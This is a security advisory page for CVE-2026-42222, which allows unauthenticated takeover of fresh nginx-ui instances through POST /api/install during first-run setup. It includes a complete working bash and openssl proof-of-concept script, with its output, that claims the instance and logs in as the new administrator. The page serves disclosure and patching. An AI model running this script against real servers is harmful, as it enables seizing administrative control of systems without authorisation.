Nginx-UI: Unauthenticated first-boot instance claim via POST /api/install allows remote bootstrap takeover
An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.
When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.
This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.
The primary attack path is direct network access to a reachable fresh instance.[^cors]
This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).
This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.
The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.
In live testing, the attacker was able to:
Observed values during live reproduction included:
```text
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,...,"short_token":"qIJAE3dQMm3afhaV"}
```
Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.
The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.
Standalone PoC:
```bash
#!/usr/bin/env bash
set -euo pipefail
base_url="http://127.0.0.1:9000"
email="[email protected]"
username="pocverify2"
password="Passw0rd123"
tmpdir="$(mktemp -d)"
trap 'rm -rf "$tmpdir"' EXIT
install_before="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_BEFORE=%s\n' "$install_before"
key_json="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \
"${base_url}/api/crypto/public_key")"
key_escaped="$(printf '%s' "$key_json" | sed -n 's/.*"public_key":"\(.*\)","request_id".*/\1/p')"
printf '%b' "$key_escaped" > "${tmpdir}/public_key.pem"
openssl rsa -RSAPublicKey_in -in "${tmpdir}/public_key.pem" -pubout -out "${tmpdir}/public_key_spki.pem" >/dev/null 2>&1
printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json"
encrypted_install="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/install.json" \
| openssl base64 -A
)"
install_post="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_install}\"}" \
"${base_url}/api/install")"
printf 'INSTALL_POST=%s\n' "$install_post"
install_after="$(curl -fsS "${base_url}/api/install")"
printf 'INSTALL_AFTER=%s\n' "$install_after"
printf '{"name":"%s","password":"%s","otp":"","recovery_code":""}' "$username" "$password" > "${tmpdir}/login.json"
encrypted_login="$(
openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/public_key_spki.pem" -pkeyopt rsa_padding_mode:pkcs1 -in "${tmpdir}/login.json" \
| openssl base64 -A
)"
login_response="$(curl -fsS \
-H 'Content-Type: application/json' \
--data "{\"encrypted_params\":\"${encrypted_login}\"}" \
"${base_url}/api/login")"
printf 'LOGIN_RESPONSE=%s\n' "$login_response"
```
Observed output during live verification:
```text
INSTALL_BEFORE={"lock":false,"timeout":false}
INSTALL_POST={"message":"ok"}
INSTALL_AFTER={"lock":true,"timeout":false}
LOGIN_RESPONSE={"message":"ok","code":200,"token":"<redacted>","short_token":"qIJAE3dQMm3afhaV"}
```
This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.
The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2026-42222 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.
CVE-2026-42222 is recorded against 2 packages.
Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Advisory)
nvd.nist.gov (Advisory)
github.com/0xjacky/nginx-ui has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:
Details
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| github.com/0xjacky/nginx-ui | — | — |
| nginx-ui | — | — |
References
Similar Threats
Site Security Check
CVE-2026-42222 is rated CVSS 8.1 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.
Scan My Site Free →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.